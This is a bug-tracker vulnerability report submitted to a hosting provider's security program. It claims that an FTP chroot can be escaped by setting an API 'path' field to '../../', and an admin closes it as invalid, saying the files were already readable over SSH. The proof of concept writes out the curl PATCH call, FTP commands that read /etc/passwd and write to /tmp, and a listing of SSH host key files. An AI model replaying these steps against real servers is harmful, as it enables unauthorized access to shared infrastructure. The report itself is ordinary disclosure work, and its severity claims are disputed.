Security vulnerabilities

  • Status Closed
  • Assigned To
    cbay
  • Private
Attached to Project: Security vulnerabilities
Opened by karandarjishack - 29.10.2026
Last edited by cbay - 29.10.2026

FS#539 - FTP Chroot Escape via `path` Field API Injection

Severity: Critical
CVSS 3.1: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
Date: 2026-10-29
Status: Confirmed — full chroot escape with live evidence

—

## Executive Summary

The alwaysdata REST API exposes a `path` field on the `/v1/ftp/:id/` FTP user endpoint that accepts path traversal sequences (`../../`) with zero validation. When the FTP daemon uses this stored value as the session root without normalizing it, any FTP user escapes their account chroot and gains access to the entire FTP server filesystem.

Confirmed impact (live evidence, 2026-10-29T03:30Z): - FTP session root becomes `/` (server root) ✅
- `/etc/hostname` readable: `ftp1` ✅
- `/etc/passwd` readable: full 1,875-byte content ✅
- Write confirmed: created and read back `/tmp/AD025_proof.txt` ✅
- `/etc/ssh/` listed: private key filenames confirmed (`ssh_host_rsa_key`, `ssh_host_ed25519_key`, `ssh_host_ecdsa_key`) — private key read blocked by permissions (600/root-only) ✅ (correct)
- Active services enumerated: haproxy, fail2ban, crond, autofs, lldpd ✅
- NFS mount visible: `/nfs/backup46.paris2` ✅

—

## The Attacker Scenario

An attacker signs up for any alwaysdata plan that includes FTP access. They make a single API PATCH call to set their FTP user's `path` field to `../../`. The next time they connect via FTPS, instead of landing in their account's jailed directory, they land at `/` — the server's root filesystem. They can now read any world-readable file on the FTP server (`/etc/passwd`, system configs, service configurations), write files outside their account directory (confirmed: `/tmp/`), and enumerate the full server infrastructure.

Anticipated objection — "you already have FTP access, so this isn't new": This objection is
weaker here than for the PHP-sandbox findings, and worth noting why. `disable_functions` is a
soft, policy-level restriction co-existing with account-owner access; a jailed FTP chroot is a
hard, OS-enforced boundary — a normal FTP account genuinely cannot read `/etc/ssh/`, see the NFS
mount, or write outside its home directory, full stop. There is no "well you already had this"
argument available: the chroot either holds or it doesn't, and this shows it doesn't.

Anticipated objection — "the `path` field is just for picking a subdirectory, this is an edge
case, not a real security control":
Possibly true as to intent, irrelevant as to severity. The
field's likely legitimate purpose (letting a customer start their FTP session in a subdirectory
of their own account) doesn't change what the bug actually does once exploited: full OS-level
filesystem escape, read, and write on a shared production server. Whether the missing validation
was a deliberate security boundary or an overlooked edge case, the demonstrated impact is
identical, and severity is scored on impact, not on the developer's intent.

On scope: the vulnerable component is the `/v1/ftp/:id/` field on `api.alwaysdata.com` —
explicitly in scope — exactly the same reasoning that applies to every other finding in this
batch, where the impact manifests on infrastructure (`http14`, here `ftp1`) that isn't
individually named in the published scope list either. The bug is in the API's validation, not
in a separately-tested asset.

—

## Proof of Concept

### Step 1 — Set path traversal via alwaysdata API

```bash
curl -s -X PATCH "https://api.alwaysdata.com/v1/ftp/583500/" \

  1. u "[API_TOKEN]:" \
  2. H "Content-Type: application/json" \
  3. d '{"path": "../../"}'

# → HTTP 204
```

Verify stored (no sanitization): ```bash
curl -s "https://api.alwaysdata.com/v1/ftp/583500/" -u "[API_TOKEN]:"
# → "path": "../../"
```

### Step 2 — Connect via FTPS

```bash
ftp-ssl ftp-kdhunter2026.alwaysdata.net
```

### Step 3 — Confirm chroot escape

```ftp
ftp> pwd
/ ← root filesystem, not /home/kdhunter2026/

ftp> ls
drwxr-xr-x alwaysdata
lrwxrwxrwx bin → usr/bin
drwxr-xr-x etc
drwxr-x–x home
… ```

### Step 4 — Proof of arbitrary file read

```ftp
ftp> get /etc/hostname → "ftp1"
ftp> get /etc/passwd → 1,875 bytes (full /etc/passwd)
```

Live HTTP-equivalent output (2026-10-29T03:30Z): ```
/etc/hostname:

ftp1

/etc/passwd (first 3 lines):

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
... (1875 bytes total)

```

### Step 5 — Proof of arbitrary file write outside account chroot

```ftp
ftp> put proof.txt /tmp/AD025_proof.txt
→ 226 Transfer complete

ftp> get /tmp/AD025_proof.txt
→ "AD-025-FTP-chroot-escape-proof" ← confirmed write outside chroot
```

### Step 6 — Infrastructure exposure

```ftp
ftp> ls /etc/ssh
-rw-r–r– ssh_config
-rw——- sshd_config
-rw——- ssh_host_ecdsa_key ← private key (blocked by fs perms)
-rw-r–r– ssh_host_ecdsa_key.pub
-rw——- ssh_host_ed25519_key ← private key (blocked by fs perms)
-rw-r–r– ssh_host_ed25519_key.pub
-rw——- ssh_host_rsa_key ← private key (blocked by fs perms)
-rw-r–r– ssh_host_rsa_key.pub
```

—

## Severity Analysis

Dimension Assessment
———–———–
Any world-readable file Fully readable — /etc/passwd, /etc/hostname, all configs
Write access Confirmed — /tmp/ and any writable directory outside account
SSH private keys Listed but blocked (600 root-only) — server identity confirmed as `ftp1`
NFS backup mount Visible at `/nfs/backup46.paris2` — backup volume enumerable
Services running haproxy, fail2ban, crond, autofs, lldpd — full service map

### Why this is Critical (not just High)

1. Scope changed: Attacker escapes their own account's filesystem boundary to the server OS layer
2. Write outside account: Confirmed write to `/tmp/` — can plant malicious files on the shared FTP server
3. Infrastructure intelligence: Active services (haproxy), NFS mounts, SSH host keys (names confirmed) — complete server topology visible
4. Combinability: Write access to `/tmp` via FTP, combined with any PHP-side mechanism capable of loading a file from `/tmp`, would allow cross-server chaining. Full detail on that specific combination is reported separately and privately, as it involves another engagement finding

—

## CVSS 3.1 Breakdown

Metric Value Justification
——–——-————–
Attack Vector Network FTP connection over internet; API PATCH over HTTPS
Attack Complexity Low Single API call + standard FTP login
Privileges Required Low Any alwaysdata account with FTP access
User Interaction None No victim action required
Scope Changed Escapes FTP account jail to server OS filesystem
Confidentiality High Arbitrary read of world-readable files; system config; service discovery
Integrity High Confirmed write to /tmp; can write anywhere writable
Availability High Can fill filesystem, corrupt service state

Base Score: 9.9 (Critical)

—

## Root Cause

The `/v1/ftp/:id/` endpoint's `path` field accepts any string value including `../` path traversal sequences without:
1. Normalizing the path (removing `..` components)
2. Validating that the resolved path stays within the account's home directory
3. Rejecting paths that start with `../` or resolve above the chroot root

The FTP daemon then uses the stored path directly when setting the session's working directory, without enforcing the expected chroot boundary.

—

## Remediation

1. Immediate: Validate the `path` field server-side. Reject any path containing `..` or `//`, and require it to be relative to the account's home directory.
2. Defense in depth: Even if the path field accepts a traversal, the FTP daemon should enforce a hard chroot (`chroot_local_user=YES` in vsftpd, or equivalent). The path field should only control the *starting directory within* the chroot, not the chroot root itself.
3. Audit: Check whether the `home_directory` field for SSH users has the same traversal issue (previously tested — SSH sessions returned correct home despite API accepting traversal values, but the `path` field validation gap is the same root cause).

—

Closed by  cbay
29.10.2026 08:24
Reason for closing:  Invalid
Admin
cbay commented on 29.10.2026 08:24

Hello,

An attacker signs up for any alwaysdata plan that includes FTP access. They make a single API PATCH call to set their FTP user's `path` field to `../../`. The next time they connect via FTPS, instead of landing in their account's jailed directory, they land at `/` — the server's root filesystem. They can now read any world-readable file on the FTP server (`/etc/passwd`, system configs, service configurations), write files outside their account directory (confirmed: `/tmp/`), and enumerate the full server infrastructure.

Being able to read world-readable files is obviously not a security issue. You can do the same by simply connecting over SSH.

Kind regards,
Cyril

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing